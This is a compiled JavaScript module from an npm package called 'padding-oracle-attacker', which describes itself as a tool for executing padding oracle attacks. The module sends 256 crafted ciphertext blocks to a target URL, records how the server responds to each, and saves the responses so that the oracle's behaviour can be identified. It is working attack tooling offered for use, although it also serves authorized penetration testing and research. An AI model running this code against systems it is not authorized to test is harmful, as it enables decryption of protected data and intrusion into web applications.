padding-oracle-attacker
Version:
CLI tool and library to execute padding oracle attacks easily
82 lines (81 loc) • 3.9 kB
JavaScript
var __rest = (this && this.__rest) || function (s, e) {
var t = {};
for (var p in s) if (Object.prototype.hasOwnProperty.call(s, p) && e.indexOf(p) < 0)
t[p] = s[p];
if (s != null && typeof Object.getOwnPropertySymbols === "function")
for (var i = 0, p = Object.getOwnPropertySymbols(s); i < p.length; i++) {
if (e.indexOf(p[i]) < 0 && Object.prototype.propertyIsEnumerable.call(s, p[i]))
t[p[i]] = s[p[i]];
}
return t;
};
var __importDefault = (this && this.__importDefault) || function (mod) {
return (mod && mod.__esModule) ? mod : { "default": mod };
};
Object.defineProperty(exports, "__esModule", { value: true });
const bluebird_1 = __importDefault(require("./bluebird")); // eslint-disable-line import/order
const path_1 = __importDefault(require("path"));
const ow_1 = __importDefault(require("ow"));
const fs_extra_1 = __importDefault(require("fs-extra"));
const tmp_promise_1 = __importDefault(require("tmp-promise"));
const chalk_1 = __importDefault(require("chalk"));
const lodash_1 = require("lodash");
const logging_1 = require("./logging");
const oracle_caller_1 = __importDefault(require("./oracle-caller"));
const util_1 = require("./util");
const { logStart, logCompletion } = logging_1.analysis;
const getResponseText = (res) => `<!--
Saved by https://github.com/KishanBagaria/padding-oracle-attacker
From ${res.url}
Payload: ${res.payload.toString('hex')}
${res.statusCode}
${util_1.stringifyHeaders(res.headers)}
-->
${res.body}`;
const byteRange = lodash_1.range(0, 256);
async function analyseResponses(_a) {
var { url, blockSize, logMode = 'full', concurrency = 128, isCacheEnabled = true, saveResponsesToTmpDir = true } = _a, args = __rest(_a, ["url", "blockSize", "logMode", "concurrency", "isCacheEnabled", "saveResponsesToTmpDir"]);
ow_1.default(blockSize, ow_1.default.number);
ow_1.default(concurrency, ow_1.default.number);
const tmpDirPath = saveResponsesToTmpDir ? (await tmp_promise_1.default.dir({ prefix: 'poattack_' })).path : '';
if (['full', 'minimal'].includes(logMode))
await logStart({ url, blockSize, tmpDirPath });
const { callOracle, networkStats } = oracle_caller_1.default(Object.assign({ url, isCacheEnabled }, args));
const statusCodeFreq = {};
const bodyLengthFreq = {};
const responses = {};
const fsPromises = [];
const rows = [];
async function processByte(byte) {
const twoBlocks = Buffer.alloc(blockSize * 2);
twoBlocks[blockSize - 1] = byte;
const req = await callOracle(twoBlocks);
const res = Object.assign(Object.assign({}, req), { payload: twoBlocks });
if (saveResponsesToTmpDir) {
fsPromises.push(fs_extra_1.default.writeFile(path_1.default.join(tmpDirPath, byte + '.html'), getResponseText(res)));
}
const { statusCode } = req;
const cl = req.body.length;
responses[byte] = res;
statusCodeFreq[statusCode] = (statusCodeFreq[statusCode] || 0) + 1;
bodyLengthFreq[cl] = (bodyLengthFreq[cl] || 0) + 1;
const color = util_1.getStatusCodeColor(statusCode);
rows.push([String(byte), chalk_1.default[color](String(statusCode)), String(cl)]);
}
if (concurrency > 1) {
await bluebird_1.default.map(byteRange, processByte, { concurrency });
}
else {
for (const byte of byteRange)
await processByte(byte);
}
await Promise.all(fsPromises);
if (['full', 'minimal'].includes(logMode)) {
const responsesTable = lodash_1.orderBy(rows, [1, 2, x => +x[0]]);
logCompletion({ responsesTable, networkStats, statusCodeFreq, bodyLengthFreq, tmpDirPath, isCacheEnabled });
}
return { responses, statusCodeFreq, bodyLengthFreq, tmpDirPath };
}
exports.default = analyseResponses;
//# sourceMappingURL=response-analysis.js.map
;